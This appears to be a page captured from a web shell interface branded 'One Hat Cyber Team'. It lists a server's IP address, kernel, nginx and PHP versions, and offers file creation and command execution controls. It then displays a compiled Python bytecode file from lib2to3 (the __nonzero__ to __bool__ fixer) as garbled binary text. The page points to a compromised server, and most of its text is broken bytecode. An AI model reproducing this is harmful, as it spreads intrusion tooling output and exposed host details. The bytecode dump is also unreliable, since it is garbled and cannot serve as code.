⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.10
/
lib2to3
/
fixes
/
__pycache__
/
View File Name :
fix_nonzero.cpython-310.pyc
o bcO @ s2 d Z ddlmZ ddlmZ G dd dejZdS )z*Fixer for __nonzero__ -> __bool__ methods. ) fixer_base)Namec @ s e Zd ZdZdZdd ZdS ) FixNonzeroTz classdef< 'class' any+ ':' suite< any* funcdef< 'def' name='__nonzero__' parameters< '(' NAME ')' > any+ > any* > > c C s$ |d }t d|jd}|| d S )Nname__bool__)prefix)r r replace)selfnoderesultsr new r 0/usr/lib/python3.10/lib2to3/fixes/fix_nonzero.py transform s zFixNonzero.transformN)__name__ __module____qualname__ BM_compatiblePATTERNr r r r r r s r N)__doc__ r fixer_utilr BaseFixr r r r r
s